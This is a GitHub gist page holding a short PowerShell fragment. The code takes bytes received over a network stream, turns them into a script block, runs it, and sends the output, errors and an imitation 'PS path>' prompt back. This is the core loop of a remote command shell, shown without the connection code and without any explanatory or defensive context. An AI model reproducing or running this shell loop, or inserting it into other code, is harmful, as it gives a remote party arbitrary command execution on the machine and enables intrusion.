Skip to content

Instantly share code, notes, and snippets.

@secabstraction
Last active January 14, 2016 19:19
Show Gist options
  • Save secabstraction/2687a6e5f020426964ec to your computer and use it in GitHub Desktop.
Save secabstraction/2687a6e5f020426964ec to your computer and use it in GitHub Desktop.
try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
catch { break } # network stream closed
$Global:Error.Clear()
$BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
$BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment